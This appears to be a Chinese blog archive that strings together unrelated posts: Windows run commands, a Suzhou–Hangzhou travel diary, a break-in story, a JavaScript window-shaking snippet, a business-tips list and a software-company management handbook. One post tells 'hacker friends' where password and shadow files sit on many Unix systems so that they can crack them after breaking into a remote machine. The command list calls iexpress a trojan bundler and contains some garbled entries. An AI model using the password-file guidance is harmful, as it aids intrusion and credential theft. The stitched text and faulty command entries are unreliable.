ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事本
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕"讲述人"
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-**整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器
gpedit.msc—–组策略

第四天 2006.06.13 苏州 - 杭州

狮子林 - 苏州水乡 - 虎丘 - 观前街 - 长途汽车北站 - 杭州

苏州就是标准的园林城市,在苏州城里面就可以逛到好几个园林。我们就选择了一个距离我们住的地方比较近的园林去看:狮子林。狮子林是苏州城里面非常著名的一个园林,也许是因为里面的好多假山、假石比较像狮子而得名的吧?呵呵。风景的话,有一点点像昆明的大观楼。里面就是池塘、假山、楼台、亭榭,如果顺着游览路线走的话,你可以发现就在这一小块假山里,你绕了好几个圈子。我们在里面逛了一会就出来了。原先打算去拙政园玩一下的,但是第一觉得可能拙政园可能和狮子园差别不大,第二是碰到一个当地的人力车夫说,狮子林在这个时候还要比拙政林好玩,拙政园是冬天有雪的时候去好玩。并强烈建议我们去了狮子林的话,就不用去拙政林了。还介绍我们去苏州水乡玩,还说可以在水乡看到虎丘的塔,于是我们就坐上了他家亲戚的去苏州水乡的黑车(6元),呵呵。
苏州水乡的感觉一开始还是挺好的,还配备了免费导游。在一进大门就可以看到有一大个茶壶,导游说如果有喜欢打麻将的,就一定要去摸摸,因为壶=胡嘛。呵呵。在里面还参观了古时没有镜子的时候,用来给园林里的小姐们梳妆打扮的井。沿路的风景也都还不错,什么四季走廊啊~都还是比较不错的。还可以在里面坐乌蓬小船沿小河游览一段。但是最后快结束的时候发生的事情就让人太不爽了。最后一个景点是一座庙宇,导游强烈要求我们去买香来烧,让我们进去拜。既然到了庙宇,我们也就进去拜了一下,才拜完,一大群寺庙里面的人事就拿了签放到你面前让你抽。好嘛,既然都放到面前了,抽就抽嘛。抽了以后,拿到了解签纸,让捐点钱到功德箱里面,然后到寺院后面解签。捐了钱来到后院,有一个道士就在那帮你解签。坐下以后他就问了一下出生年月日,告诉他以后。他就开始胡说一气,说的没有一样是对的。然后还说让我们就不用烧香了,就敬几把花就行了。多的也不需要,每人六把就可以了,价格也不贵,每把就10元。kao!什么烂道士,完全是骗钱嘛!我们就找借口说在考虑下看看,那个烂道士就说什么大家都是素质高的人,相信我们一定会回来的。kao!骗钱还振振有词,完全是骗钱的老油条了!我们才不理他,出来后就径直离开了。本来还算不错的心情,被他搞的乱七八糟!
从苏州水乡出来在周围逛了一下就已经是17:30了。打电话向苏州长途汽车站问了到杭州的汽车最晚是七点,就开始马上往回赶了。打车回到观前街,然后走到宾馆,期间居然迷路了。而且我的PDA坏了,GPS不能用,郁闷啊!居然在苏州的步行街上迷路。对了苏州这个地方也是很牛。我们在苏州逛了那么长的时间,居然没有看见一个报刊亭。本来打算到苏州的第一件事情就是买一张苏州地图的,结果……到离开苏州,都没有见到报刊亭。而且我们逛的地方都是苏州最热闹的地方!迷路了怎么办?只有一路问着人走了。在路上顺便把晚饭也吃了,吃了苏州的特色菜:鲃肺汤。在18:30分的时候终于赶到宾馆,在拿了行李以后,马上打车向苏州长途汽车北站进发。
在18:50的时候,终于到达苏州长途汽车北站,挤进去买到了19:00到杭州的汽车票。18:55坐上了去杭州的大巴!真是惊险啊!21:30分,终于达到杭州。
苏州一行,感觉苏州人都非常凶。从宾馆服务员、餐厅老板到麦当劳的服务员。进宾馆的时候还了个价,服务员就啪啦啪啦说了半天,和吵架似的,根本就讲不下价来;在餐厅吃饭,71元,和老板说说,就70元了,我们不要发票,结果老板又啪啦啪啦说了N多,感觉真像吵架,结果只有要了发票;在麦当劳买个冰其淋,服务员:还有没有人要冰其淋的,还有没有人要冰其淋的?很凶就把钱拿过去了;在老大娘水饺吃饺子:服务员,哪有筷子?啪,筷子就飞到桌子上放着。无言……不过看是看到了一幕苏州的小姑娘单挑苏州老娘,姜还是老的辣:我们在餐厅里吃饭,估计是隔壁桌的菜上错了,小姑娘就和老板娘吵,两个人都很凶的样子。具体对话记不大清楚了,反正最后老板娘说:“你要怎么办嘛?刚刚不是和你说这个服务员是才来的嘛,你还要怎么说?你要换的都帮你换了。”然后小姑娘就没说什么了,静下来吃她的饭。呵呵

 

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狮子林

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狮子林

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狮子林内的泥偶展

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狮子林的假山、池塘和亭榭

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狮子林的爬墙松,呵呵

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苏州水乡风情园

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苏州水乡风情园

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四季走廊

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苏州水乡风情园

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苏州水乡风情园

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苏州水乡风情园

  今天好倒霉啊,住处的门居然被贼撬了!还好值得庆幸的是只是把防盗门撬坏了,但是并没有撬开。这也害得我打不开家门,进不了家……

  晚上本来打算赶回家看球赛的,今天还很精彩的捷克对意大利。但是刚到家门口,就发现家门被撬了。接着把隔壁邻居家的门敲开了问了一下情况。说是就是前几分钟前听见弄门的声音,但是声音很小,像是在开门。因为我住的小区里面就有一个派出所,所以我就直接到了他那,说是报案。但是他和我说我们这一片不归他管。问为什么,说是自从行政区重新划分了以后,我们这一片就归东华派出所管了,他们就不管了,虽然说他们就在旁边。没办法,找他要了东华所的报警电话(3318474),打了。说一会过来,因为下着雨,所以会来迟一点。打电话时间22:32。
  接着就只有回来等警察来。还好隔壁的邻居比较热情,就在他们家里面坐着等。结果……一直等到23:13都没有任何人过来,等不及了,直接拨110。110接到报警后,说保持手机开机状态,他们一会就会派人来处理。再接着等,等到23:32了,距离第一个电话的时间已经有一个小时了,都没有任何人过来。没办法,只有自己想办法解决了。就打电话给朋友,因为朋友应工作需要,配备有8m的楼梯。又接着等啊等,等到24:02分,我朋友到了。刚把车停好。警察也来了。好把,既然来了,就去看看吧。看了以后,从警察那得知:今天晚上我住的这个小区里面有三家(包括我)被撬,但是都没有撬开。看的结果呢,警察就是做了下笔录,给了我个开锁的电话(3163444),说门坏了进不去的话就打这个电话,60元开一次门,评价了一下我用的这个防盗门太老了,不安全,然后就走了。靠!警察来了根本不起任何作用嘛!早知道根本连警都不用报,还等那么长的时间!看来一切的一切还是只有靠自己!
  把朋友的8m梯撑起来,终于可以从阳台爬进自家里了。还好我住的地方不高(3楼),高的话楼梯都没办法,只有找开锁公司的了。从里面终于可以把防盗门打开了。从里面看,防盗门的锁的位置已经被拉的完全变形了,所以就算用钥匙也打不开。DIY了一下,把锁修好了,可以正常的锁门了。不过还是打算去看一个新的防盗门,来加强安全了。
  唉~中国的治安,中国的警察啊。等那么长时间才来到现场,足足一个半小时。如果发生个什么大事情,如果抢劫啊什么的,那么点时间,罪犯都可以想逃哪逃哪了。坐飞机的话,轻轻松松的都到成都了。这种治安,怎么让我们放心啊!

 

图片附件:
image_249.jpg
图片附件:
image_250.jpg
图片附件:
image_251.jpg

  首先在页面的<head></head>区加入以下代码:

<script>
function anticopy(n)
{
if(self.moveTo)
{
self.moveTo(0,-900);
for(i = n; i > 0; i–)
{
self.moveTo(0,3);
}
for(j = 8; j > 0; j–)
{
self.moveTo(0,j);
self.moveTo(j,0);
self.moveTo(0,-j);
self.moveTo(-j,0);
}
}
}
</script>

相信很多的黑客朋友当进入一台远程电脑的时候最想得到的就是密码文件,然后自己破解一下就是这台电脑的系统管理员了,嘿嘿!可是密码文件在哪呢?听小编给你说一说!

  AIX 3 /etc/security/passwd !

  or /tcb/auth/files/

  of username>/

  A/UX 3.0s /tcb/files/auth/?/*

  BSD4.3-Reno /etc/master.passwd *

  ConvexOS 10 /etc/shadpw *

  ConvexOS 11 /etc/shadow *

  DG/UX /etc/tcb/aa/user/ *

  EP/IX /etc/shadow x

  HP-UX /.secure/etc/passwd *

  IRIX 5 /etc/shadow x

  Linux 1.1 /etc/shadow *

  OSF/1 /etc/passwd[.dir .pag] *

  SCO Unix #.2.x /tcb/auth/files/

  of username>/

  SunOS4.1+c2 /etc/security/passwd.adjunct ##username

  SunOS 5.0 /etc/shadow

  System V Release 4.0 /etc/shadow x

  System V Release 4.2 /etc/security/* database

  Ultrix 4 /etc/auth[.dir .pag] *

  UNICOS /etc/udb *

赚大钱者的7大素质
作者:中华培训网
1、一旦有赚钱的念头就马上一步一个脚印去做,要付诸行动,敢于碰,善于磨,只有这样才能抓住机会。
2、一个人单调地上下班,把固定的工资存入银行,年复一年,到头来只是有限的少许积蓄。想赚大钱,就要立志当商人,而且目标要水涨船高,选定十万、二十万,再是一百万、五百万……
3、不安于现状,无休止地进取。许多人开始时挣扎奋斗,但在他花费无数血汗、使前途稍露曙光后,便自鸣得意,开始松懈,于是失败立刻追踪而至。跌倒后,再也爬不起来。
4、多动脑筋,超越常理,出奇制胜。鬼点子越多,越能赚钱。
5、想发财要不怕羞,当你在大街小巷推销产品时,不要怕被人瞧不起。
6、对自己充满信心,这么一来,你便能发挥大的潜力。
7、赚钱要有创意。第一个做的是天才,第二个做的是庸才,第三个以后做的便是蠢才。所以,创业的第一要诀就是眼光独到,想别人未想到的事业。

软件开发公司管理手册 (上)
所有版权保留 [email protected]
2003.9-2004.3
(第三版)
  总结一些管理心得、经验与想法,写出来,便于解决问题或日常检视公司运行状况的时候看看。
  一、动态平衡与发展
  公司创办的热情、首轮机会过去后,面对经营中不断出现的诸多问题,经营者的想法会发生很多变化,会发现可以导致公司走向衰落甚至垮掉的因素非常多而且问题不断出现。
  公司的运行是很多环节的协同运行,概括起来说,就是在现有的政策法律的规范下,协调合伙人或投资人与经营者关系,运作资金,了解消费者及其需求,了解市场销售模式及渠道,组织人力,设计开发产品,生产产品,进行宣传及销售,处理收获与激励等。
  以上的环节中任何一个如果思路不对、做不好或出了问题解决不好,都会成为公司整体运行的瓶颈,影响制约公司业务的总流量,减少总收益,进而使其它环节表现出相对高成本、低效益。把一个公司长远经营下去的做法是保持动态平衡。
  公司的继续发展是在现有动态平衡的基础上(没有动态平衡就只能是背水一战,现实中绝大部分以悲剧告终),明确方向,通过依次增强各个环节来实现的。方向搞错了,最终白干。环节顺序没做对,弯路走得太多,很可能错失良机前功尽弃。
  二、公司运行的各方面
  1. 政府、政策法律与国际贸易
  政府永远是最强大的力量——国内的情况尤甚,任何公司、技术、资金、天才等力量在他面前都不值一提。政府的相关法律法规出台、产业政策公布及其实施、行业标准制定颁布、市场准入许可等是行业变化发展的原始推动力量——尽管有时候没有立即的效果,这是那些对行业未来有所认识并进行了多年准备的公司的发展机会的降临,也经常是市场重新洗牌的开始。很多政策研究机构(有些就是政府智囊)的公开的研究报告可以有早期预报,公司主要经营者对此应该有相当程度的重视,公司越大越应该重视。能够参与政府相关工作(如行业标准制订)应该是公司经营的重大目标之一。用不着研究政府政策的小公司应该研究大公司的发展策略——相对影响力也是巨大的。
  工商、财税、用工、保险等方面的政策法律尽量遵循,与管理机关维持一定的良好关系与沟通网络,参照其它大多数公司的标准与做法。这方面是公司运行、发展的必要条件,但不是主要方向。长期来看,公司在这些方面多省钱的某些做法很可能得不偿失。如果经营者在这方面投入、牵扯精力太多也会得不偿失。
  贸易全球化已经进展到相当的程度,跨国贸易的成本大幅降低,现在任何一个行业的产品生产链很少没有跨国贸易的参与。在多个国家中进行市场开拓、产品销售、研发生产采购等对一个公司来说已经是必须要考虑的,跨国公司(不一定是世界大公司)的竞争也是必须要面对的。语言、文化差异将是相当长时间内国内第三产业公司参与国际贸易的主要障碍,临阵磨枪、临时抱佛脚对解决这类问题基本无用,特别是当有朝一日公司经营者带领团队与跨国竞争者展开全面对抗或合作的时候。
  2. 与人合伙
  创办公司不见得必须找其他合伙人——法律上的要求是合股。单干、家族、合伙、投资人加总经理等形式都可能发展成良好的公司。本文中合伙是指合伙控股,共同负责日常经营的核心管理团队。
  如果一个人认识到自己单打独斗不行,那就得考虑找人合伙。合伙的基本条件主要有三个,一是互相长期了解,为人处世很合得来;二是各参与方对自己的未来几年、几十年都有明确的认识、定位及把握能力,都有过一些挫折与收获,且发展方向相同;三是觉得对方的长处能弥补自己的不足,且恰到好处不太多也不太少。如果一个人觉得自己还不成熟或还想补充自己不足的方面,那就去打工,别考虑合伙创办公司。特长相同的人应该组成爱好者协会而不是合伙创办公司。只有资金的人最好不要入伙——即使入伙也不要控股、不要参与日常经营决策,应该以信贷借款的方式合作。
  公司创办人想做多少年的公司,就得找能跟自己合作多少年的合伙人。找长期合伙人的难度不低于找结婚对象,长期合伙中途散伙的打击跟离婚差不多。维持良好的合伙关系的前提是不怕散伙——离婚后各自还能过下去,虽然惨点儿。
  合伙后就像结婚后,参与各方对待问题都应该睁一只眼、闭一只眼,相互间少斤斤计较鸡毛蒜皮,既要解决问题又不能过火,尽量体谅其它各方,团结是第一位的——而非财务报表。当然有些火、有些委屈也只能在内部发,其他合伙人应该承担。长期合伙人的最大收获是信任、理解与宽容,而不是企业规模或资金收益。合作良好的长期合伙中每个人的综合收获可能远大于当初的预期。
  公司(不管是单干型还是家族性)运行几年后,想改造成合伙模式几乎不可能,除非是公司兼并重组,但在兼并重组的基础上发展成良好的合伙人的可能性也微乎其微。长期合伙企业分家后各自发展的例子倒有一些。
  家庭婚姻状况、重大挫折的处理过程是考虑一个合伙人的重要因素。
  3. 协调投资人与经营者
  如果是战略投资者控股,则战略投资者对经营者的管理可以作为母公司(或最高董事会)核心管理的延伸,本质是内部管理的一部分,在总公司或集团公司的整体管理运作中协调。公司经营者的经营目标、计划及实施要服从于整体。经营中的问题与风险要及时通报总公司,以便全局考虑——尤其是当公司是作为大产业链中的一个环节的情况下。
  如果是资本管理人控股,那就努力经营出来好看的财务报表,并且注意资金运作过程要能经受得起审计事务所的严审。
  如果爷爷众多,各有想法要求;或投资人自己就乱的一塌糊涂,那公司经营者就好自为之吧。这种公司活不长长不大,不多考虑。
  4. 目标、计划与实施
  如果经营者没有目标或走到哪儿算哪儿,那就趁早关门或辞职。经营目标本质上是经营者对一个经营周期内各相关环节、各种问题的总体认识、分析与把握。命令公司内各环节上报部门目标计划然后汇总成总体目标计划是经营者心虚与大脑空白的最简单的表露方式——无论其有多高的理想或职业特长,目标的经常性大幅度修改能导致更恶劣的情况。
  计划是用来解决目标如何实现的问题,本质是目标的分解与负责。编制计划是对目标的第一次修正。只有细分目标的责任人编排的计划才是有可操作性、可实现性的计划。计划的主要内容应该是对困难风险的预防及处理,以便确保目标的实现,而不是工作安排时间表。主要经营者的计划的重要内容是如何帮助、监督、调整各环节管理人员实现他们的计划。官僚主义一般严重的公司内部只有下级的计划而没有上级的计划,官僚主义最严重的公司要求每个一线员工都制订详细的计划。计划的编制及实施情况是对管理人员考核的主要指标。
  单纯以等待机会为主的公司很难编排计划,这是靠天吃饭的另外一种形式,本质上是公司经营者对行业、市场的演变及发展缺乏深入认识及分析能力,或即使认识到一定深度也没有主动引导、推动的能力。大多数靠天吃饭的公司都在某几次大的旱涝年景或市场消费变化中消失了。这样的公司年复一年的大量涌现,年复一年的大量消失。
  5. 运作资金
  在现在的社会中,资金循环是企业生存的命脉,在这一点上怎么重视都不为过——很多光彩照人的企业一夜之间垮台都是这个原因。资金循环是企业生存的保证,但不是企业发展的方向。公司净资产、资金流量的增加是公司发展的结果而不是原因。对公司短期经营战略来说,资金运作是目标;但对于长期战略,资金运作只是工具。
  资金预算如果没有可信度、可操作性就很难指望公司能平稳发展——从创办公司开始。资金决算时的负值误差比财务报表上的亏损数字更能对信心造成重大打击。资金预算是公司其它环节、部门的工作计划的基础,服务于公司总体计划的平衡。资金预算应该定期、不定期调整,以适应经营状况的变化。当公司经营出现重大问题,各种分析办法、衡量指标都看不清楚问题的严重程度时,资金预决算是最后的分析办法、衡量指标。
  财务部门是管理工具,(财政部制定的)会计制度是记账方法,不懂会计制度、不了解会计科目、看不懂财务报表(不是简单的看合计数字)的公司经营者对资金的管理水平不会超过公司会计人员或财务主管——否则就是是给税务局、审计事务所找麻烦,这样的管理者维持的公司资金循环的长期风险非常大——当然其所经营的公司生存的风险也很大。内部人管理财务需要配套相当程度的透明机制。帐套数量的减少而不是增加应该是财务管理的一个重要目标。管理团队对财务运行状况的疑问与理解差异,进而导致的不信任是长期核心凝聚力最大的威胁与破坏力——特别是资金运作出现一些困难的时候,运行时间短的公司一般就此垮台,这方面家族企业有天然的优势。
  对内管理,降低成本是公司永远的追求。在市场收益基本可以预期的情况下,降低成本就是公司生存及产生利润的唯一手段。降低成本的要求应该覆盖所有环节。降低成本的本质是管理水平的提升。配套的管理没有到位而强行采取降低成本的措施,将导致公司运行的很大的风险,进而显著增加管理成本,很可能到头来需要花费更大的成本来弥补。降低成本是管理的目标而非手段,管理过程中对降低成本的直接过度要求会在很大程度上的打击管理人员的工作热情——在没有管理水平的提升的情况下,对他们来说就是准备好自己加班。对已经运行到成熟期的产品来说,降低成本之后的降低产品价格是增加产品竞争力、扩大销售的主要方式,从这个角度说,是管理创造效益。
  公司运作中应尽量避免发生资金短缺——不是指断裂,包括流动资金与固定资产投资资金。虽然这从总体上来说可能是违反货币财务理论,但就单个公司来说是可以实现的。出现了资金短缺的问题,应对的办法有间接融资(向银行或民间贷款)、直接融资(民间募股、公开发行股票或债券上市)。无论哪种办法,实施起来都很麻烦,难度很高,成本也不小。有备无患,公司经营者或财务主管人员应建立一些良好的管道以备不测——公司几十年的经营中很难不遇到资金短缺的问题。
  发行股票上市作为运作资金的一部分,最好不要作为公司经营的目标——除非是资本管理人控股没什么好说的。发行股票上市本质是借钱,是长期收益的短期变现(未来的收益将被摊薄)。如果真的面临流动资金严重短缺,或重大的投资项目,缺钱而申请公开上市是可以的。如果公司不存在明显的资金短缺而进行股票上市,除了要产生重大的支出外,还有可能被人怀疑目的与营运状况的真实性——是不是要准备糊弄点钱然后逃跑。如果说依靠股票上市来促进规范化管理,那纯粹是瞎掰,是明显的自己打自己嘴巴子,让政府监管机构、经纪人、投资者来监督、提升自己的管理,就好像一个学生自己学不了非要找个学校花钱请老师监督训斥才能学好,根本的本末倒置。如果股票上市是为了有意无意的参与到资本市场的运作中的话,那经营者就是在拿自己的公司进行赌博——没有深厚的资本市场运作实力、经验、背景而贸然进入很可能血本无归。没有明确资金缺口而发行股票获得的资金的相关管理将给原本正常的公司运行管理带来巨大的干扰及沉重的负担。
  公司经营过程中,如果发生别人通过收购兼并进而控股的情况,其本质——不管商谈中如何措辞——是经营者承认公司经营失败,移交公司经营主导权(尽管可能暂时还留任掌握);是经营者把未来命运交给别人来把握——主动合伙除外。
  如果公司的所有者与经营者分离,则经营者要花费巨大的精力来平衡公司对未来的投资与所有者的短期收益之间的冲突。如果公司的所有者主要是战略投资者——认为公司的未来发展与短期收益同等重要,情况还好一些;而如果公司的所有者主要是资本管理人——只关心好看的财务报表,那就是经营者的悲哀。
  6. 了解消费需求、产品及对手
  产品设计方面:不了解消费者的需求就设计不出来好产品;不了解大多数的消费者的需求就很难设计出来销售量大的产品;不了解消费者需求的变化就设计不出来领先市场的产品。
  产品销售方面:不了解消费者的需求就没办法向客户讲解自己产品的优点、长处;不了解大多数的消费者的需求就很难估算销售量;不了解消费者需求的变化就只能卖过时产品。
  产品设计人员如果技术掌握不深、产品设计经验不丰富,就很难深入了解消费者的需求,其他就别提。产品市场销售人员如果技术掌握不到位、产品设计经验不丰富,就很难进行深入的市场需求调查、分析。
  在公司起步的时候,或从一个动态平衡状态继续发展的时候,对消费者及其需求的了解及对新技术的了解是整个行动的第一步,至关重要。
  公司主要经营者如果技术掌握不到位、消费者及其需求了解不到位,那就只能指望产品设计负责人与市场销售负责人的觉悟与个人能力,并且等待产品设计与市场销售来验证;进一步,如果设计负责人与市场销售负责人的技术掌握不到位、消费者及其需求了解不到位,那就只能指望一线开发人员与一线市场销售人员的觉悟与个人能力,也只能等待产品设计与市场销售来验证,结果可想而知——即使这个过程有完善的内部规章制度来管理。所以,能力再强、水平再高的公司经营者,如果他的决策的执行力度、认识分析问题的力度、以及个人意志力贯彻不到最终消费者的话,即使有再完美的内部规章制度,也是枉然。对公司整体经营来说,这就是重大经营风险的开始——很可能按照正常的步骤启动。
  公司主要经营者对技术掌握到位、对消费者及其需求了解到位后,后续的执行过程可以有产品/项目经理制,承接主要经营者的思路与理解,并负责细化、深入及实现。所以,产品/项目经理制的本质是主要经营者对自己带出来的队伍的一种管理方式。如果主要经营者自己带不出来队伍,但在公司硬性推行产品/项目经理制,进而指定人选,或招聘空降部队,那管理运行起来的冲突不断——比董事会与总经理的关系还麻烦,难有业绩,于是不断换人。某些情况下会有短期的合适人选,并做出一些业绩,但长期上下级之间互不理解、不协调的矛盾终有一天会爆发,有可能结果是产品/项目经理出去另立山头,做同类产品杀回马枪,给原公司造成的很大经营压力与风险。
  相关环节方面,一味的强调销售渠道(或网络)的重要性而忽视对最终消费者的需求的深入了解,是短期(短线产品、短期项目)的做法,长期运行将产生很大的风险。
  7. 了解市场销售模式及渠道
  本文中把通过经销商/代理商进行销售,以及通过客户(大客户)联系直接销售统称为通过渠道进行销售。
  对销售模式及渠道的了解、把握程度是产品设计是否启动的很重要的因素,也是产品整体运作计划的重要内容。市场是否成熟决定产品宣传推广的成本。销售渠道是否畅通决定产品的销量及销售成本。客户的价格承受能力与同类产品(或以前的版本)的价格决定产品的定价。不了解市场销售模式及渠道,或简单了解但没有把握能力的情况下,贸然启动产品设计生产是可以做出来好东西的,但很可能卖不出去,结果经常是在产品卖出去之前因为资金循环断裂而倒下或产品运作队伍被撤掉。
  不同的产品有不同的客户市场,也就有不同的销售模式及渠道。销售渠道的争夺是产品竞争的主战场,销售渠道对产品的理解及宣传对客户的采购决策将产生很大的影响。对于某些市场化程度不高的产品/项目市场,或进入门槛比较高的市场,销售渠道的建立与维护是产品/项目生存的命脉。主要经营者的个人信用、个人魅力对销售渠道的建立与维护影响非常大。
  销售渠道的建立的周期一般都不短——这是很多产品技术设计人没有预料到的,而且建立的成本很高。销售渠道的维护成本(不是产品销售成本)一般远小于建立成本,公司自身良好的资金运作状况以及好产品会促进销售渠道的稳定。已经成熟的产品的销售渠道也会发生变化,经销商/代理商自身的变化、客户的关键负责人的变更、合同到期、公司自身关键销售人员的离职都可能导致销售渠道的改变——这常常是其他竞争产品的生存、扩张机会。

软件开发公司管理手册 (下)
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2003.9-2004.3
(第三版)

  8. 组织人力
  组织人力包括部门的设立与调整,以及中层管理人员及普通员工的组织管理。
  组织人力是公司计划实施的真正开始。
  人事部门是管理工具,组织机构或部门的设立与调整是主要经营者(团队)的领导能力与经营计划的具体实现,人事管理、人力资源的管理的理论只能供参考。从公司主要经营者开始,工作的转移、下派的前提是:对于一般工作,自己能够做到符合公司的要求或标准;对于核心(主要)工作或重要工作,自己能够做得比其他所有人都好。这里所说的工作具体还包括三个方面,一是工作计划,二是工作过程监督,三是工作结果考核;除此之外,还要有教育、帮助别人的能力。如果自己都做不好的事情,安排给其他人做将直接导致风险;自己做得很好但教不会工作接受人,结果是一样的风险。玩弄权术只能是局部短期行为,公司主要经营者如果指望依靠权术来管理公司那就是内部根本混乱的开始。
  团队成员对领导者的信任、敬佩与服从是团队的真正价值,这是团队成员之间良好协作的基础。稳定、优秀的中层管理队伍是主要经营者多年经营的优秀成果之一,重要性仅次于良好合作的合伙人,是在背后推动产品在市场上攻城掠地的主要力量。中层管理队伍的建立与稳定,而非销售额或产品规模,是个体作坊向中型公司发展的根本标志。大多数老子天下第一的经营者过不了这个坎儿。
  无论人力如何组织,负责产品尤其是核心产品、掌握核心技术、掌握核心销售渠道的员工都是要优先考虑、优先对待的,确保其稳定与发挥。这些人多少都有大爷脾气,正面的作用与潜在的负面作用都可能是巨大的。大人大量的软硬兼施、恩威并举是唯一的管理方法。
  公司的业务主要是若干产品开发、生产、销售的循环,由若干产品负责人负责管理、协调整个过程是比较好的一种过程管理方法。公司也是由不同的专业人员共同协作完成产品循环过程的,所以设立若干专业部门以确保各专业的工期、质量也是必需的。总体来看,公司的人力组织管理,是一种纵向的过程管理与横向的部门管理的综合,其他的各种管理方法(如成本效益管理、全面质量管理等)都是以此为基础;反过来,其他管理方法的实施如果落实不到过程管理负责人与专业部门管理负责人,则很难有理想结果。
  如果公司的某些产品业务规模大并且稳定到一定程度,若干配套的专业部门及人员已经长期相对稳定,则可以把这一块分出去成立分公司、子公司进行独立管理。
  产品负责人直接向主要经营者负责。公司经营计划中的开发、生产、销售等计划由产品负责人负责实现。专业部门负责人向产品负责人及公司主要经营者负责,对前者负责具体专业计划的实现,对后者主要负责达到管理指标。公司的整体经营计划的制定,其实是包括产品负责人与专业部门负责人共同参与讨论、平衡的结果。
  产品经营的过程,根据工作安排、时间或人员等情况可以划分若干项目,每一项目可以根据需要设立项目负责人。项目负责人对产品负责人负责某一阶段目标的实现,协调若干专业部门的工作。一般情况下,开发部的项目负责人协调技术部门内部子部门之间的工作,以及开发部与其他部门之间的工作。产品负责人协调市场部、销售部、开发部、客服部门、财务部等若干部门的工作。
  公司的成长、产品的成熟与增加、销售额/市场份额的增加、队伍的扩充以及其他等等是一个连续的、相辅相成的过程。核心员工的发现、管理人员的提拔应该主要在这个过程中进行。招聘的新人也应该纳入这个过程一视同仁。直接空降急缺的高级专业技术人才或重要渠道销售人才只能按个案处理,并且要谨慎判断已有的团队及管理人员是否有足够的容纳、管理能力,否则可能适得其反。直接空降中高层管理人员的难度很高,风险很大,主要在于管理思想的认同、管理运行机制的保持与适度调整。在公司制定经营计划时空降中高程管理人员意味着新的产品或专业部门管理模式;在公司产品运行过程中空降中高层管理人员则很容易是临阵换将,兵家大忌。从外面看起来运行良好的公司突然空降主要经营者(如总经理等)很容易让人怀疑公司运营的真实状况,或者怀疑空降行为的真实目的。
  管理人员对下级管理人员或员工的工作状况、压力、环境的了解与调整责无旁贷。向下越级管理或向上越级申述都要慎重从事。是否有加班人员是其管理人员领导能力的最简单的体现,加班越多说明管理能力越差。创造性强、创意性强的技术性工作人员需要一定自由度的工作生活时间,对其进行严格固定的考勤管理是扼杀其才能发挥的有效方法,上班时严格禁止浏览这个、禁止做那个等等可以达到同样的效果。
  员工的专业技能进步应以自学为主。自学能力差的员工上进心也差,也基本没什么潜力。自学出身的员工与科班出身的员工达到同样的专业水平,则多数情况下自学出身的员工应该被优先考虑,无论科班出身的员工有多高的学历。公司的技术进步、技术储备可以通过设立项目或实验产品的方式进行,纳入公司统一管理。把公司技术进步的希望主要寄托于员工个人自觉自学只能表现技术管理人员的心虚气短。不断的依靠招收掌握新技术的员工来带动公司技术进步的做法不会好过管理人员自己拿出时间自学或去参加培训,尤其是从成本效益角度分析。

  9. 产品设计开发
  产品设计开发是两个主要成本之一(另一个是市场宣传及销售)的产生过程。产品设计开发失败是很容易发生的——以次充好应付某些客户的形象工程项目另当别论,虽然最终通过销售证明的失败可以将责任推给市场销售环节或市场形势等等其他因素,但大多数情况的隐患与风险从产品设计阶段就可以看到的,也是应该解决或规避的。产品设计不是开发部门的内部事务,而是全公司所业务部门共同参与的过程,单纯技术出身的主要经营者或单纯销售出身的主要经营者很容易在这方面摔跟头。
  产品负责人是公司的长期核心高级管理人员,对某个或某类产品负责的时间应该跨越若干个经营周期,工作中主要对产品的重点功能定义、市场份额、成本效益等负责。产品的设计开发可以以主要版本升级的形式进行。产品开发(主要版本的升级)的计划应该在公司的经营周期经营计划之中制定。产品开发计划的制定是对已有产品、销售渠道、客户、市场、技术、资金流、政策等等方面通盘考虑、平衡的结果。产品开发计划应该包括版本重点功能定义、宣传重点、进度、成本、关键技术等。对于客户定制型软件开发项目工程而言,产品开发计划可以作为投标书或工程项目建议书。产品开发计划文档的写作的质量是将来产品质量的预示。忙得没时间写文档的产品负责人通常以口头方式向下传达,等手下写好了自己审阅,如果手下也忙而照此行事,则领导看见的很可能是一线员工的作品,而且经念得没准歪到哪里去了。
  产品开发计划的版本重点功能定义可以作为项目负责人的初步方案;宣传重点可以作为市场部的宣传理念的基础;进度计划可以作为各部门工作安排、协调的进度基准;成本计划可以作为财务部的资金调度计划基础;关键技术可以作为开发部的技术攻关、技术储备的目标;质量管理、生产发货后勤人事等各环节可以根据相关的计划安排自己的计划。
  产品设计开发的过程是连续的出现问题、解决问题的过程,部门间的矛盾冲突的大小与频繁程度是检验产品负责人工作状况的简单指标。
